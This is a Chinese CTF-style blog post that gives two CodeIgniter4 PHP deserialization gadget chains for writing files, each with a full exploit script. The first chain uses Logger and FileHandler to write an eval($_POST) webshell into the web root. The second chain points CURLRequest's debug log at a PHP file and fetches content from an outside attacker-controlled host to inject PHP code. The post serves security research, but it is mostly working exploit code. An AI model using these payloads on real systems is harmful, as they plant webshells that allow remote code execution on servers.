CTF

codeIgniter4的两个写文件链子

Posted on 2021-08-25,4 min read

前言

蓝帽杯结束了。该公开链子了
也不懂为啥。最近很多人把单独的链子当0day各种*。暂且不谈算不算0day。
链子不应该是配合反序列化漏洞点才算漏洞嘛???为啥单独成洞了,没漏洞点能干嘛😅
整的和挖了个框架无条件RCE一样。

第一条写文件链子:

触发点,调用任意类的close方法

懒得说啥类的close方法。你们慢慢调。
使redis类报错。进入catch调用任意类的error方法

接着log方法

然后是个抽象方法。找个具体实现方法

abstract public function log($level, $message, array $context = []);

最后找到

前面一堆判断。都可以控制。重点在最后
$handler可控,调用setDateFormat。并且参数可控,setDateFormat方法就是返回当前对象。然后调用当前对象的handle方法。说白了。就是调用$handler的handle方法

$handler = $this->handlers[$className];

if (!$handler->canHandle($level)) {
    continue;
}


if (!$handler->setDateFormat($this->dateFormat)->handle($level, $message)) {
    break;
}

最后找到了可写的点,date。当时XCTF有个题。date的注入。。用\转义字符就行。至于fileExtension为php就会添加exit。反正fileExtension都是拼接到文件路径。变个1.php拼接完就成了xxx.1.php。问题不大

EXP:

<?php
namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct($redis){
            $this->redis=$redis;
        }
    }
}
namespace CodeIgniter\Log{
	class Logger{
		protected $dateFormat = '\<\?\p\h\p\ \e\v\a\l\(\$\_\P\O\S\T\[\"\g\u\o\k\e\"\]\)\;\?\>';
		protected $loggableLevels = ['error','critical'];
		protected $handlerConfig;
		public function __construct($handlerConfig,$handlers){
			$this->handlerConfig=$handlerConfig;
			$this->handlers=$handlers;
	
		}
	}
}
namespace CodeIgniter\Log\Handlers{
	class FileHandler{
		protected $path='/var/www/html/';
		protected $filePermissions=0777;
		protected $fileExtension='1/../b.php';
		protected $handles=['error'];
	}
}
namespace CodeIgniter\Session\Handlers{
    class RedisHandler{
        protected $redis;
		protected $logger;
        public function __construct($logger){
            $this->redis=new \Redis();
			$this->logger=$logger;
        }
    }
}
namespace{
	use CodeIgniter\Log\Handlers\FileHandler;
	use CodeIgniter\Log\Logger;
    use CodeIgniter\Session\Handlers\RedisHandler as RedisHandler2;
    use CodeIgniter\Cache\Handlers\RedisHandler as RedisHandler1;
	$FileHandler=new FileHandler();
	$Logger=new Logger(['a'=>'b'],['a'=>$FileHandler]);
    $RedisHandler2=new RedisHandler2($Logger);
    $RedisHandler1=new RedisHandler1($RedisHandler2);
    echo urlencode(serialize($RedisHandler1));
}

第二条写文件链子:

同样的起点

调用任意delete方法。并且参数可控

调用reqeust。参数可控

具体看send方法

设置了URL。并且setCURLOptions的参数可控

这里参数可控。其实就是指定了curl的日志为xxx.php。curl访问中的信息都会保存进去

EXP:

<?php

namespace CodeIgniter\HTTP {
    class CURLRequest{
        protected $config = [
            'timeout'         => 1.0,
            'connect_timeout' => 150,
            'debug'           => "Guoke.php",
            'verify'          => true,
        ];
    }
}

namespace CodeIgniter\Session\Handlers {
    class MemcachedHandler
    {
        public $lockKey = 'http://s.guokeya.top/2.php';
        public $memcached;

        public function __construct($memcached)
        {
            $this->memcached = $memcached;
        }
    }
}

namespace CodeIgniter\Cache\Handlers {
    class RedisHandler
    {
        protected $redis;

        public function __construct($redis)
        {
            $this->redis = $redis;
        }
    }
}

namespace {

    use CodeIgniter\Cache\Handlers\RedisHandler;
    use CodeIgniter\Session\Handlers\MemcachedHandler;
    use CodeIgniter\HTTP\CURLRequest;
    $CURLRequest = new CURLRequest();
    $MemcachedHandler = new MemcachedHandler($CURLRequest);
    $RedisHandler = new RedisHandler($MemcachedHandler);
    echo urlencode(serialize($RedisHandler));
}
?>

服务器放2.php

<?php
header('Set-Cookie: test=<?php phpinfo();?>');

当然还有其他链子。这里就分享两个

下一篇: 巅峰极客 eml管理系统&&一个python题→